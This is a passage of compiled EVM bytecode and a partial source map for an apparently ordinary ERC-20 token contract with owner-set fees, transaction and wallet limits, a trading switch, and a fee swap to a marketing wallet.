a01b0380871660008181526008602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061137b9085815260200190565b60405180910390a361138d86836114ea565b5050611293565b6010546001600160a01b0384811691161480156113ae5750805b156113e057600a548211156113c7576113c78484611562565b60006113d283610e50565b905060006112d082856119ce565b6000806113ed81856119ce565b6001600160a01b03871660009081526005602052604090205490915060ff1680156114205750600f5462010000900460ff165b156114325761142f81856119ce565b93505b6001600160a01b0386166000908152600860205260409020546114569085906119ce565b6001600160a01b038088166000908152600860205260408082209390935590871681522054611486908290611a16565b6001600160a01b0380871660008181526008602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114da9088815260200190565b60405180910390a3505050505050565b30600090815260086020526040902054611505908290611a16565b30600081815260086020526040908190209290925590516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115569085815260200190565b60405180910390a35050565b30600090815260086020526040902054600a548110801590819061159457506010546001600160a01b03858116911614155b80156115a25750600f5460ff165b80156115d057506001600160a01b038416301480156115ce57506010546001600160a01b038481169116145b155b15611293576115f730600f60039054906101000a90046001600160a01b0316600a54610e64565b600f54600a5461161791630100000090046001600160a01b031690611661565b47801561165a576011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611658573d6000803e3d6000fd5b505b5050505050565b60408051600280825260608201835284926000929190602083019080368337019050509050308160008151811061169a5761169a611a62565b60200260200101906001600160a01b031690816001600160a01b031681525050816001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171c9190611a78565b8160018151811061172f5761172f611a62565b6001600160a01b039283166020918202929092010152821663791ac947846000843061175d4261012c611a16565b6040518663ffffffff1660e01b815260040161177d959493929190611a95565b600060405180830381600087803b15801561179757600080fd5b505af11580156117ab573d6000803e3d6000fd5b5050505050505050565b600060208083528351808285015260005b818110156117e2578581018301518582016040015282016117c6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461181857600080fd5b50565b6000806040838503121561182e57600080fd5b823561183981611803565b946020939093013593505050565b60008060006060848603121561185c57600080fd5b833561186781611803565b9250602084013561187781611803565b929592945050506040919091013590565b8035801515811461189857600080fd5b919050565b600080604083850312156118b057600080fd5b82356118bb81611803565b91506118c960208401611888565b90509250929050565b6000602082840312156118e457600080fd5b8135610cf381611803565b6000806040838503121561190257600080fd5b50508035926020909101359150565b6000806040838503121561192457600080fd5b823561192f81611803565b9150602083013561193f81611803565b809150509250929050565b60006020828403121561195c57600080fd5b5035919050565b60006020828403121561197557600080fd5b610cf382611888565b600181811c9082168061199257607f821691505b6020821081036119b257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561089d5761089d6119b8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561089d5761089d6119b8565b808202811582820484141761089d5761089d6119b8565b600082611a5d57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a8a57600080fd5b8151610cf381611803565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ae55784516001600160a01b031683529383019391830191600101611ac0565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220150f8494163c1f9051f8f5412cf7c8a5d23ba1818fd3fddaa27995bd9c3a0d9864736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102605760003560e01c80638da5cb5b11610144578063bf56b371116100b6578063ee2e5a2e1161007a578063ee2e5a2e1461074e578063f2fde38b1461076e578063f3acb4d51461078e578063f4b3dbc3146107ae578063f8b45b05146107ce578063fe6f1b05146107e457600080fd5b8063bf56b37114610692578063dd62ed3e146106a8578063e5685bed146106ee578063ea5b9e851461070e578063ed4214291461072e57600080fd5b8063a3f4782f11610108578063a3f4782f146105d2578063a457c2d7146105f2578063a7c29b4014610612578063a9059cbb14610632578063abe57e7014610652578063b0cd68541461067257600080fd5b80638da5cb5b14610536578063958f97351461055457806395d89b411461057357806399b102b5146105885780639f6936e8146105b857600080fd5b806339509351116101dd578063715018a6116101a1578063715018a614610490578063735de9f7146104a5578063751039fc146104cc57806375f0a874146104e15780637bf5316f146105015780638a8c523c1461052157600080fd5b806339509351146103c45780635342acb4146103e4578063681aa362146104145780636dd3d39f1461042a57806370a082311461045a57600080fd5b806328ac2d531161022457806328ac2d531461031c5780632ce9a4ac146103545780632d1293901461036a5780632d4613911461038c578063313ce567146103a257600080fd5b806306fdde031461026c578063095ea7b31461029757806318160ddd146102c75780631884f1e6146102e657806323b872dd146102fc57600080fd5b3661026757005b600080fd5b34801561027857600080fd5b506102816107fa565b60405161028e91906117b5565b60405180910390f35b3480156102a357600080fd5b506102b76102b236600461181b565b61088c565b604051901515815260200161028e565b3480156102d357600080fd5b506004545b60405190815260200161028e565b3480156102f257600080fd5b506102d8600a5481565b34801561030857600080fd5b506102b7610317366004611847565b6108a3565b34801561032857600080fd5b5060105461033c906001600160a01b031681565b6040516001600160a01b03909116815260200161028e565b34801561036057600080fd5b506102d860135481565b34801561037657600080fd5b5061038a61038536600461189d565b6108f5565b005b34801561039857600080fd5b506102d860125481565b3480156103ae57600080fd5b5060035460405160ff909116815260200161028e565b3480156103d057600080fd5b506102b76103df36600461181b565b610953565b3480156103f057600080fd5b506102b76103ff3660046118d2565b60056020526000908152604090205460ff1681565b34801561042057600080fd5b506102d8600c5481565b34801561043657600080fd5b506102b76104453660046118d2565b60076020526000908152604090205460ff1681565b34801561046657600080fd5b506102d86104753660046118d2565b6001600160a01b031660009081526008602052604090205490565b34801561049c57600080fd5b5061038a61098a565b3480156104b157600080fd5b50600f5461033c90630100000090046001600160a01b031681565b3480156104d857600080fd5b5061038a6109fe565b3480156104ed57600080fd5b5060115461033c906001600160a01b031681565b34801561050d57600080fd5b50600f546102b79062010000900460ff1681565b34801561052d57600080fd5b5061038a610a3f565b34801561054257600080fd5b506000546001600160a01b031661033c565b34801561056057600080fd5b50600f546102b790610100900460ff1681565b34801561057f57600080fd5b50610281610acb565b34801561059457600080fd5b506102b76105a33660046118d2565b60066020526000908152604090205460ff1681565b3480156105c457600080fd5b50600f546102b79060ff1681565b3480156105de57600080fd5b5061038a6105ed3660046118ef565b610ada565b3480156105fe57600080fd5b506102b761060d36600461181b565b610b24565b34801561061e57600080fd5b5061038a61062d36600461189d565b610b5b565b34801561063e57600080fd5b506102b761064d36600461181b565b610bb0565b34801561065e57600080fd5b5061038a61066d3660046118ef565b610bbd565b34801561067e57600080fd5b5061038a61068d3660046118ef565b610c07565b34801561069e57600080fd5b506102d8600e5481565b3480156106b457600080fd5b506102d86106c3366004611911565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b3480156106fa57600080fd5b5061038a61070936600461194a565b610c51565b34801561071a57600080fd5b5061038a61072936600461189d565b610c80565b34801561073a57600080fd5b506102d861074936600461194a565b610cd5565b34801561075a57600080fd5b5061038a610769366004611963565b610cfa565b34801561077a57600080fd5b5061038a6107893660046118d2565b610d37565b34801561079a57600080fd5b5061038a6107a936600461194a565b610e21565b3480156107ba57600080fd5b506102d86107c936600461194a565b610e50565b3480156107da57600080fd5b506102d8600b5481565b3480156107f057600080fd5b506102d8600d5481565b6060600180546108099061197e565b80601f01602080910402602001604051908101604052809291908181526020018280546108359061197e565b80156108825780601f1061085757610100808354040283529160200191610882565b820191906000526020600020905b81548152906001019060200180831161086557829003601f168201915b5050505050905090565b6000610899338484610e64565b5060015b92915050565b60006108b0848484610f71565b6001600160a01b0384166000908152600960209081526040808320338085529252909120546108eb9186916108e69086906119ce565b610e64565b5060019392505050565b6000546001600160a01b031633146109285760405162461bcd60e51b815260040161091f906119e1565b60405180910390fd5b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916108999185906108e6908690611a16565b6000546001600160a01b031633146109b45760405162461bcd60e51b815260040161091f906119e1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a285760405162461bcd60e51b815260040161091f906119e1565b600a6012819055601355600454600b819055600c55565b6000546001600160a01b03163314610a695760405162461bcd60e51b815260040161091f906119e1565b600f5462010000900460ff1615610ab45760405162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e48195b98589b1959608a1b604482015260640161091f565b600f805462ffffff19166201010117905542600e55565b6060600280546108099061197e565b6000546001600160a01b03163314610b045760405162461bcd60e51b815260040161091f906119e1565b8082600454610b139190611a29565b610b1d9190611a40565b600c555050565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916108999185906108e69086906119ce565b6000546001600160a01b03163314610b855760405162461bcd60e51b815260040161091f906119e1565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000610899338484610f71565b6000546001600160a01b03163314610be75760405162461bcd60e51b815260040161091f906119e1565b8082600454610bf69190611a29565b610c009190611a40565b600b555050565b6000546001600160a01b03163314610c315760405162461bcd60e51b815260040161091f906119e1565b8082600454610c409190611a29565b610c4a9190611a40565b600a555050565b6000546001600160a01b03163314610c7b5760405162461bcd60e51b815260040161091f906119e1565b601355565b6000546001600160a01b03163314610caa5760405162461bcd60e51b815260040161091f906119e1565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b600080600d5460125484610ce99190611a29565b610cf39190611a40565b9392505050565b6000546001600160a01b03163314610d245760405162461bcd60e51b815260040161091f906119e1565b600f805460ff1916911515919091179055565b6000546001600160a01b03163314610d615760405162461bcd60e51b815260040161091f906119e1565b6001600160a01b038116610dc65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161091f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610e4b5760405162461bcd60e51b815260040161091f906119e1565b601255565b600080600d5460135484610ce99190611a29565b6001600160a01b038316610eba5760405162461bcd60e51b815260206004820152601e60248201527f20617070726f76652066726f6d20746865207a65726f20616464726573730000604482015260640161091f565b6001600160a01b038216610f105760405162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f20616464726573730000000000604482015260640161091f565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fc75760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015260640161091f565b6001600160a01b03821661101d5760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015260640161091f565b6000811161106d5760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f604482015260640161091f565b6001600160a01b03831660009081526006602052604090205460ff161580156110af57506001600160a01b03821660009081526006602052604090205460ff16155b1561118e57600c548111156111065760405162461bcd60e51b815260206004820152601c60248201527f416d6f756e742065786365656473204d61782074786e206c696d697400000000604482015260640161091f565b600f5462010000900460ff1661118e576010546001600160a01b0384811691161480159061114257506010546001600160a01b03838116911614155b61118e5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e67206973206e6f742079657420656e61626c6564000000000000604482015260640161091f565b6001600160a01b03821660009081526007602052604090205460ff1661122957600b54816111d1846001600160a01b031660009081526008602052604090205490565b6111db9190611a16565b11156112295760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e742065786365656473204d61782057616c6c6574206c696d697400604482015260640161091f565b6001600160a01b03831660009081526005602052604090205460019060ff168061126b57506001600160a01b03831660009081526005602052604090205460ff165b8061127e5750600f54610100900460ff16155b15611287575060005b61129384848484611299565b50505050565b6010546001600160a01b0385811691161480156112b35750805b15611394576000806112c484610cd5565b91506112d082856119ce565b6001600160a01b0387166000908152600860205260409020549091506112f79085906119ce565b6001600160a01b038088166000908152600860205260408082209390935590871681522054611327908290611a16565b6001600160a01b0380871660008181526008602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061137b9085815260200190565b60405180910390a361138d86836114ea565b5050611293565b6010546001600160a01b0384811691161480156113ae5750805b156113e057600a548211156113c7576113c78484611562565b60006113d283610e50565b905060006112d082856119ce565b6000806113ed81856119ce565b6001600160a01b03871660009081526005602052604090205490915060ff1680156114205750600f5462010000900460ff165b156114325761142f81856119ce565b93505b6001600160a01b0386166000908152600860205260409020546114569085906119ce565b6001600160a01b038088166000908152600860205260408082209390935590871681522054611486908290611a16565b6001600160a01b0380871660008181526008602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114da9088815260200190565b60405180910390a3505050505050565b30600090815260086020526040902054611505908290611a16565b30600081815260086020526040908190209290925590516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115569085815260200190565b60405180910390a35050565b30600090815260086020526040902054600a548110801590819061159457506010546001600160a01b03858116911614155b80156115a25750600f5460ff165b80156115d057506001600160a01b038416301480156115ce57506010546001600160a01b038481169116145b155b15611293576115f730600f60039054906101000a90046001600160a01b0316600a54610e64565b600f54600a5461161791630100000090046001600160a01b031690611661565b47801561165a576011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611658573d6000803e3d6000fd5b505b5050505050565b60408051600280825260608201835284926000929190602083019080368337019050509050308160008151811061169a5761169a611a62565b60200260200101906001600160a01b031690816001600160a01b031681525050816001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171c9190611a78565b8160018151811061172f5761172f611a62565b6001600160a01b039283166020918202929092010152821663791ac947846000843061175d4261012c611a16565b6040518663ffffffff1660e01b815260040161177d959493929190611a95565b600060405180830381600087803b15801561179757600080fd5b505af11580156117ab573d6000803e3d6000fd5b5050505050505050565b600060208083528351808285015260005b818110156117e2578581018301518582016040015282016117c6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461181857600080fd5b50565b6000806040838503121561182e57600080fd5b823561183981611803565b946020939093013593505050565b60008060006060848603121561185c57600080fd5b833561186781611803565b9250602084013561187781611803565b929592945050506040919091013590565b8035801515811461189857600080fd5b919050565b600080604083850312156118b057600080fd5b82356118bb81611803565b91506118c960208401611888565b90509250929050565b6000602082840312156118e457600080fd5b8135610cf381611803565b6000806040838503121561190257600080fd5b50508035926020909101359150565b6000806040838503121561192457600080fd5b823561192f81611803565b9150602083013561193f81611803565b809150509250929050565b60006020828403121561195c57600080fd5b5035919050565b60006020828403121561197557600080fd5b610cf382611888565b600181811c9082168061199257607f821691505b6020821081036119b257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561089d5761089d6119b8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561089d5761089d6119b8565b808202811582820484141761089d5761089d6119b8565b600082611a5d57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a8a57600080fd5b8151610cf381611803565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ae55784516001600160a01b031683529383019391830191600101611ac0565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220150f8494163c1f9051f8f5412cf7c8a5d23ba1818fd3fddaa27995bd9c3a0d9864736f6c63430008130033
Deployed Bytecode Sourcemap
3136:10544:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5658:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12770:186;;;;;;;;;;-1:-1:-1;12770:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;12770:186:0;1023:187:1;5935:95:0;;;;;;;;;;-1:-1:-1;6015:7:0;;5935:95;;;1361:25:1;;;1349:2;1334:18;5935:95:0;1215:177:1;3664:55:0;;;;;;;;;;;;;;;;11290:350;;;;;;;;;;-1:-1:-1;11290:350:0;;;;;:::i;:::-;;:::i;4088:25::-;;;;;;;;;;-1:-1:-1;4088:25:0;;;;-1:-1:-1;;;;;4088:25:0;;;;;;-1:-1:-1;;;;;2022:32:1;;;2004:51;;1992:2;1977:18;4088:25:0;1858:203:1;4305:33:0;;;;;;;;;;;;;;;;12964:172;;;;;;;;;;-1:-1:-1;12964:172:0;;;;;:::i;:::-;;:::i;:::-;;4264:32;;;;;;;;;;;;;;;;5844:83;;;;;;;;;;-1:-1:-1;5910:9:0;;5844:83;;5910:9;;;;2693:36:1;;2681:2;2666:18;5844:83:0;2551:184:1;11648:292:0;;;;;;;;;;-1:-1:-1;11648:292:0;;;;;:::i;:::-;;:::i;3357:49::-;;;;;;;;;;-1:-1:-1;3357:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3783:50;;;;;;;;;;;;;;;;3472:55;;;;;;;;;;-1:-1:-1;3472:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6038:119;;;;;;;;;;-1:-1:-1;6038:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6131:18:0;6104:7;6131:18;;;:9;:18;;;;;;;6038:119;1040:157;;;;;;;;;;;;;:::i;4047:31::-;;;;;;;;;;-1:-1:-1;4047:31:0;;;;;;;-1:-1:-1;;;;;4047:31:0;;;6598:168;;;;;;;;;;;;;:::i;4121:30::-;;;;;;;;;;-1:-1:-1;4121:30:0;;;;-1:-1:-1;;;;;4121:30:0;;;4003:34;;;;;;;;;;-1:-1:-1;4003:34:0;;;;;;;;;;;6774:242;;;;;;;;;;;;;:::i;826:79::-;;;;;;;;;;-1:-1:-1;864:7:0;891:6;-1:-1:-1;;;;;891:6:0;826:79;;3966:29;;;;;;;;;;-1:-1:-1;3966:29:0;;;;;;;;;;;5749:87;;;;;;;;;;;;;:::i;3413:52::-;;;;;;;;;;-1:-1:-1;3413:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3918:40;;;;;;;;;;-1:-1:-1;3918:40:0;;;;;;;;13435:132;;;;;;;;;;-1:-1:-1;13435:132:0;;;;;:::i;:::-;;:::i;11948:300::-;;;;;;;;;;-1:-1:-1;11948:300:0;;;;;:::i;:::-;;:::i;12423:165::-;;;;;;;;;;-1:-1:-1;12423:165:0;;;;;:::i;:::-;;:::i;6165:192::-;;;;;;;;;;-1:-1:-1;6165:192:0;;;;;:::i;:::-;;:::i;13295:132::-;;;;;;;;;;-1:-1:-1;13295:132:0;;;;;:::i;:::-;;:::i;13144:143::-;;;;;;;;;;-1:-1:-1;13144:143:0;;;;;:::i;:::-;;:::i;3884:25::-;;;;;;;;;;;;;;;;12594:168;;;;;;;;;;-1:-1:-1;12594:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;12727:18:0;;;12700:7;12727:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;12594:168;6365:106;;;;;;;;;;-1:-1:-1;6365:106:0;;;;;:::i;:::-;;:::i;12256:159::-;;;;;;;;;;-1:-1:-1;12256:159:0;;;;;:::i;:::-;;:::i;7024:167::-;;;;;;;;;;-1:-1:-1;7024:167:0;;;;;:::i;:::-;;:::i;6479:111::-;;;;;;;;;;-1:-1:-1;6479:111:0;;;;;:::i;:::-;;:::i;1205:281::-;;;;;;;;;;-1:-1:-1;1205:281:0;;;;;:::i;:::-;;:::i;13575:102::-;;;;;;;;;;-1:-1:-1;13575:102:0;;;;;:::i;:::-;;:::i;7199:169::-;;;;;;;;;;-1:-1:-1;7199:169:0;;;;;:::i;:::-;;:::i;3727:48::-;;;;;;;;;;;;;;;;3841:36;;;;;;;;;;;;;;;;5658:83;5695:13;5728:5;5721:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5658:83;:::o;12770:186::-;12870:4;12887:39;499:10;12910:7;12919:6;12887:8;:39::i;:::-;-1:-1:-1;12944:4:0;12770:186;;;;;:::o;11290:350::-;11422:4;11439:36;11449:6;11457:9;11468:6;11439:9;:36::i;:::-;-1:-1:-1;;;;;11557:19:0;;;;;;:11;:19;;;;;;;;499:10;11557:33;;;;;;;;;11486:124;;11509:6;;11557:42;;11593:6;;11557:42;:::i;:::-;11486:8;:124::i;:::-;-1:-1:-1;11628:4:0;11290:350;;;;;:::o;12964:172::-;953:6;;-1:-1:-1;;;;;953:6:0;499:10;953:22;945:67;;;;-1:-1:-1;;;945:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;13088:32:0;;;::::1;;::::0;;;:23:::1;:32;::::0;;;;:40;;-1:-1:-1;;13088:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12964:172::o;11648:292::-;499:10;11761:4;11850:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;11850:34:0;;;;;;;;;;11761:4;;11778:132;;11828:7;;11850:49;;11888:10;;11850:49;:::i;1040:157::-;953:6;;-1:-1:-1;;;;;953:6:0;499:10;953:22;945:67;;;;-1:-1:-1;;;945:67:0;;;;;;;:::i;:::-;1147:1:::1;1131:6:::0;;1110:40:::1;::::0;-1:-1:-1;;;;;1131:6:0;;::::1;::::0;1110:40:::1;::::0;1147:1;;1110:40:::1;1186:1;1161:28:::0;;-1:-1:-1;;;;;;1161:28:0::1;::::0;;1040:157::o;6598:168::-;953:6;;-1:-1:-1;;;;;953:6:0;499:10;953:22;945:67;;;;-1:-1:-1;;;945:67:0;;;;;;;:::i;:::-;6666:2:::1;6652:11;:16:::0;;;6679:12:::1;:17:::0;6719:7:::1;::::0;6707:9:::1;:19:::0;;;6737:11:::1;:21:::0;6598:168::o;6774:242::-;953:6;;-1:-1:-1;;;;;953:6:0;499:10;953:22;945:67;;;;-1:-1:-1;;;945:67:0;;;;;;;:::i;:::-;6838:14:::1;::::0;;;::::1;;;6837:15;6829:43;;;::::0;-1:-1:-1;;;6829:43:0;;5577:2:1;6829:43:0::1;::::0;::::1;5559:21:1::0;5616:2;5596:18;;;5589:30;-1:-1:-1;;;5635:18:1;;;5628:45;5690:18;;6829:43:0::1;5375:339:1::0;6829:43:0::1;6883:14;:21:::0;;-1:-1:-1;;6942:27:0;;;;;6993:15:::1;6980:10;:28:::0;6774:242::o;5749:87::-;5788:13;5821:7;5814:14;;;;;:::i;13435:132::-;953:6;;-1:-1:-1;;;;;953:6:0;499:10;953:22;945:67;;;;-1:-1:-1;;;945:67:0;;;;;;;:::i;:::-;13551:7:::1;13541:5;13531:7;;:15;;;;:::i;:::-;13530:29;;;;:::i;:::-;13516:11;:43:::0;-1:-1:-1;;13435:132:0:o;11948:300::-;499:10;12066:4;12155:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;12155:34:0;;;;;;;;;;12066:4;;12083:135;;12133:7;;12155:52;;12192:15;;12155:52;:::i;12423:165::-;953:6;;-1:-1:-1;;;;;953:6:0;499:10;953:22;945:67;;;;-1:-1:-1;;;945:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12543:29:0;;;::::1;;::::0;;;:20:::1;:29;::::0;;;;:37;;-1:-1:-1;;12543:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12423:165::o;6165:192::-;6268:4;6285:42;499:10;6309:9;6320:6;6285:9;:42::i;13295:132::-;953:6;;-1:-1:-1;;;;;953:6:0;499:10;953:22;945:67;;;;-1:-1:-1;;;945:67:0;;;;;;;:::i;:::-;13411:7:::1;13401:5;13391:7;;:15;;;;:::i;:::-;13390:29;;;;:::i;:::-;13379:9;:40:::0;-1:-1:-1;;13295:132:0:o;13144:143::-;953:6;;-1:-1:-1;;;;;953:6:0;499:10;953:22;945:67;;;;-1:-1:-1;;;945:67:0;;;;;;;:::i;:::-;13271:7:::1;13261:5;13251:7;;:15;;;;:::i;:::-;13250:29;;;;:::i;:::-;13233:14;:46:::0;-1:-1:-1;;13144:143:0:o;6365:106::-;953:6;;-1:-1:-1;;;;;953:6:0;499:10;953:22;945:67;;;;-1:-1:-1;;;945:67:0;;;;;;;:::i;:::-;6440:12:::1;:23:::0;6365:106::o;12256:159::-;953:6;;-1:-1:-1;;;;;953:6:0;499:10;953:22;945:67;;;;-1:-1:-1;;;945:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12373:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;12373:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12256:159::o;7024:167::-;7087:7;7107:11;7147:14;;7131:11;;7122:6;:20;;;;:::i;:::-;7121:41;;;;:::i;:::-;7107:55;7024:167;-1:-1:-1;;;7024:167:0:o;6479:111::-;953:6;;-1:-1:-1;;;;;953:6:0;499:10;953:22;945:67;;;;-1:-1:-1;;;945:67:0;;;;;;;:::i;:::-;6553:20:::1;:29:::0;;-1:-1:-1;;6553:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6479:111::o;1205:281::-;953:6;;-1:-1:-1;;;;;953:6:0;499:10;953:22;945:67;;;;-1:-1:-1;;;945:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1308:22:0;::::1;1286:110;;;::::0;-1:-1:-1;;;1286:110:0;;6316:2:1;1286:110:0::1;::::0;::::1;6298:21:1::0;6355:2;6335:18;;;6328:30;6394:34;6374:18;;;6367:62;-1:-1:-1;;;6445:18:1;;;6438:36;6491:19;;1286:110:0::1;6114:402:1::0;1286:110:0::1;1433:6;::::0;;1412:38:::1;::::0;-1:-1:-1;;;;;1412:38:0;;::::1;::::0;1433:6;::::1;::::0;1412:38:::1;::::0;::::1;1461:6;:17:::0;;-1:-1:-1;;;;;;1461:17:0::1;-1:-1:-1::0;;;;;1461:17:0;;;::::1;::::0;;;::::1;::::0;;1205:281::o;13575:102::-;953:6;;-1:-1:-1;;;;;953:6:0;499:10;953:22;945:67;;;;-1:-1:-1;;;945:67:0;;;;;;;:::i;:::-;13648:11:::1;:21:::0;13575:102::o;7199:169::-;7263:7;7283:11;7324:14;;7307:12;;7298:6;:21;;;;:::i;7376:324::-;-1:-1:-1;;;;;7469:19:0;;7461:62;;;;-1:-1:-1;;;7461:62:0;;6723:2:1;7461:62:0;;;6705:21:1;6762:2;6742:18;;;6735:30;6801:32;6781:18;;;6774:60;6851:18;;7461:62:0;6521:354:1;7461:62:0;-1:-1:-1;;;;;7542:21:0;;7534:61;;;;-1:-1:-1;;;7534:61:0;;7082:2:1;7534:61:0;;;7064:21:1;7121:2;7101:18;;;7094:30;7160:29;7140:18;;;7133:57;7207:18;;7534:61:0;6880:351:1;7534:61:0;-1:-1:-1;;;;;7608:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7660:32;;1361:25:1;;;7660:32:0;;1334:18:1;7660:32:0;;;;;;;7376:324;;;:::o;7708:1059::-;-1:-1:-1;;;;;7796:18:0;;7788:61;;;;-1:-1:-1;;;7788:61:0;;7438:2:1;7788:61:0;;;7420:21:1;7477:2;7457:18;;;7450:30;7516:32;7496:18;;;7489:60;7566:18;;7788:61:0;7236:354:1;7788:61:0;-1:-1:-1;;;;;7868:16:0;;7860:57;;;;-1:-1:-1;;;7860:57:0;;7797:2:1;7860:57:0;;;7779:21:1;7836:2;7816:18;;;7809:30;7875;7855:18;;;7848:58;7923:18;;7860:57:0;7595:352:1;7860:57:0;7945:1;7936:6;:10;7928:55;;;;-1:-1:-1;;;7928:55:0;;8154:2:1;7928:55:0;;;8136:21:1;;;8173:18;;;8166:30;8232:34;8212:18;;;8205:62;8284:18;;7928:55:0;7952:356:1;7928:55:0;-1:-1:-1;;;;;7999:26:0;;;;;;:20;:26;;;;;;;;7998:27;:56;;;;-1:-1:-1;;;;;;8030:24:0;;;;;;:20;:24;;;;;;;;8029:25;7998:56;7994:361;;;8089:11;;8079:6;:21;;8071:62;;;;-1:-1:-1;;;8071:62:0;;8515:2:1;8071:62:0;;;8497:21:1;8554:2;8534:18;;;8527:30;8593;8573:18;;;8566:58;8641:18;;8071:62:0;8313:352:1;8071:62:0;8155:14;;;;;;;8150:194;;8220:10;;-1:-1:-1;;;;;8220:18:0;;;:10;;:18;;;;:38;;-1:-1:-1;8242:10:0;;-1:-1:-1;;;;;8242:16:0;;;:10;;:16;;8220:38;8190:138;;;;-1:-1:-1;;;8190:138:0;;8872:2:1;8190:138:0;;;8854:21:1;8911:2;8891:18;;;8884:30;8950:28;8930:18;;;8923:56;8996:18;;8190:138:0;8670:350:1;8190:138:0;-1:-1:-1;;;;;8372:27:0;;;;;;:23;:27;;;;;;;;8367:191;;8470:9;;8459:6;8443:13;8453:2;-1:-1:-1;;;;;6131:18:0;6104:7;